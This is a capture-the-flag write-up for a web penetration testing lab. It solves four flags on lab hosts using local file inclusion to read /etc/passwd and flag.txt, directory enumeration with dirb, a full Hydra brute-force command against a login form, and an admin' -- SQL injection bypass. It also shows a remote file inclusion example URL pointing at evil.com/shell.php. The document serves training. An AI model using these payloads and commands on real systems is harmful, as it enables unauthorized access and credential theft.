Web Application Penetration Testing CTF
Objective: Identify web application vulnerabilities in the target website and capture all the flags hidden within the environment. The target website is accessible at http://target.ine.local.
Useful wordlists:
Flags to Capture:
Flag 1: Sometimes, important files are hidden in plain sight. Check the root ('/') directory for a file named 'flag.txt' that might hold the key to the first flag.
Flag 2: Explore the structure of the server's directories. Enumeration might reveal hidden treasures.
Flag 3: The login form seems a bit weak. Trying out different combinations might just reveal the next flag.
Flag 4: The login form behaves oddly with unexpected inputs. Think of injection techniques to access the 'admin' account and find the flag.
Tools
The best tools for this lab are:
Nmap
Gobuster
Hydra
Flag 1 Solution : Sometimes, important files are hidden in plain sight. Check the root ('/') directory for a file named 'flag.txt' that might hold the key to the first flag.
Target : 192.117.23.3
Run nmap -sC -sC 192.117.23.3 > 80/tcp open http gunicorn
go to the url 192.117.23.3
In the home page > select a file > file1.txt and view file
see that the URL returns http://192.117.23.3/view_file?file=file1.txt
After a lot of research and reading, stumbled upon file inclusion vulnerability
What Are File Inclusion Vulnerabilities?
File inclusion vulnerabilities occur when an application dynamically includes files based on user input without proper validation. There are two main types:
Local File Inclusion (LFI):
The application includes files from the local file system.
Example:
http://example.com/index.php?page=about.php
Remote File Inclusion (RFI):
The application includes files from a remote server.
Example:
http://example.com/index.php?page=http://evil.com/shell.php
Read more here : https://www.cobalt.io/blog/a-pentesters-guide-to-file-inclusion
Decided to focus on testing for Local File Inclusion (LFI) or Remote File Inclusion (RFI) vulnerabilities.
To find the flag1.
Open Burp Suite and configure your browser to use Burp as a proxy.
Ensure Burp is intercepting traffic (Proxy > Intercept > Turn Intercept off).
Go to the target URL > 192.117.23.3
view file1.txt
In the proxy > Http history tab > send http://192.117.23.3/view_file?file=file1.txt to repeater to be modified
In the repeater tab, modify the GET /view_file?file=file1.txt request value to include a local file path:
http://192.117.23.3/view_file?file=../../../etc/passwd If the application doesn’t filter the file being called, and if the vulnerability exists, then the /etc/passwd file content will return in the response.
We can confirm the application is not properly filter files properly
after the '=' delete file1.txt and then send request and observe its response > Response = HTTP/1.1 200 OK
Add =/flag.txt
Response:
In the response > HTTP/1.1 200 OK and
FLAG1_33ffd02abde64d229481f7114843d9fd
Alternatively Navigate to http://192.117.23.3/view_file?file=/flag.txt
Flag 2: Explore the structure of the server's directories. Enumeration might reveal hidden treasures.
Target: 192.3.139.3 > http://target.ine.local.
Performed directory enumeration using dirb tool
Dirb is a popular command-line tool for brute-forcing directories and files on web servers. It works by sending HTTP requests to a target website and checking the responses to identify valid directories and files. Below is a guide on how to use Dirb to scan a website:
Basic Syntax
dirb <target_url> [wordlist] [options]
Run dirb http://target.ine.local '/usr/share/wordlists/dirb/common.txt'
Result:
---- Scanning URL: http://target.ine.local/ ----
http://target.ine.local/about (CODE:200|SIZE:2858)
http://target.ine.local/login (CODE:200|SIZE:3377)
http://target.ine.local/logout (CODE:302|SIZE:189)
http://target.ine.local/secured (CODE:308|SIZE:251)
from the result, we can see four interesting directories
we can navigate to each directory, but notice that http://target.ine.local/secured has code (308) > The 308 status code means that the target resource, which the users are trying to access, has permanently moved to a new URL and redirects them to the new location.
Open a browser and navigate to http://target.ine.local/secured/
Result:
In the JSON page displayed above, we can see a flag.txt
Attempt to view the flag by navigation to http://target.ine.local/secured/flag.txt
Result > FLAG2_70fa5f71f38b435ab48d2efeaa269804
Flag 3: The login form seems a bit weak. Trying out different combinations might just reveal the next flag.
Target = target.ine.local
login page > http://target.ine.local/login
Wordlist:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
/root/Desktop/wordlists/100-common-passwords.txt
Firstly, target website and locate the login form > http://target.ine.local/login
We analyze the Login Request using Burp Suite or your browser’s developer tools to inspect the login request.
Open Burp suite and activate burp web proxy > make sure intercept is on
Login into http://target.ine.local/login with username = test and password = test (doing this is to help us understand what is happening on the page, including the request and response headers )
From the web traffic captured using Burp suite, we can see that when we attempt to log in to the page, a POST request was sent.
We can also notice that we can attempt unlimited login failures that is no account lockout policy, this further highlights that this login page can be brute forced. Since we learnt about Hydra in this series, it made sense to use hydra to brute for the page.
Brute-forcing an HTTP login form involves systematically trying different username and password combinations to gain unauthorized access to a web application. Hydra is a powerful tool for this purpose. Below, I'll explain how to use Hydra to brute-force an HTTP login form, including the syntax and examples.
What is Hydra?
Hydra is a fast and flexible brute-forcing tool that supports many protocols, including HTTP, HTTPS, FTP, SSH, and more. It automates the process of trying multiple username and password combinations against a target.
Upon research, we found the Hydra syntax for HTTP POST forms:
hydra -L <username_list> -P <password_list> <target> http-post-form "<login_path>:<request_body>:<error_message>"
Here’s the breakdown of the command:
-L <username_list>: Path to the username wordlist.-P <password_list>: Path to the password wordlist.<target>: The target IP address or domain (e.g.,192.117.23.3).http-post-form: Specifies that the attack is against an HTTP POST form.<login_path>: The path to the login endpoint (e.g.,/login).<request_body>: The body of the POST request, with^USER^and^PASS^placeholders for the username and password.<error_message>: A string in the response that indicates a failed login (e.g.,Invalid username or password).
Therefore, our brute force command becomes,
note, since we don't have valid usernames and passwords, pace holders remains empty:
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /root/Desktop/wordlists/100-common-passwords.txt target.ine.local http-post-form "/login:username=^USER^&password=^PASS^:Invalid username or password"
After running the above command, we get the following results:
[80][http-post-form] host: target.ine.local login: guest password: butterfly1
Therefore, we can proceed to http://target.ine.local/login and Login using credentials found
username > guest and password > butterfly
Upon successful login, we get the following page > http://target.ine.local/profile/2?name=Bob+Guest
Flag 3 > FLAG3_846a0a47c3c347c79e760d6778301603
Flag 4: The login form behaves oddly with unexpected inputs. Think of injection techniques to access the 'admin' account and find the flag.
A quick google search suggested the following: If the login form behaves unexpectedly (e.g., error messages, partial login, or unusual behaviour), it might be vulnerable to SQL Injection. SQL Injection occurs when user input is not properly sanitized, allowing attackers to manipulate the database query.
Therefore, we use the common SQL Injection payloads to test the login form.
Payloads to Try
Basic SQL Injection:
Username:
admin' --Password:
anything
This payload comments out the rest of the SQL query, potentially bypassing the password check.
Using the above information, we can navigate to login page > http://target.ine.local/login
username = admin' — and password = golden
Result:
Flag > FLAG4_72f75884923345ae8bd0523726b968d8
Additionally, we can also use Burp suite to intercept the login request using Burp Suite. Then modify the username and password fields with the payloads above.
Last updated
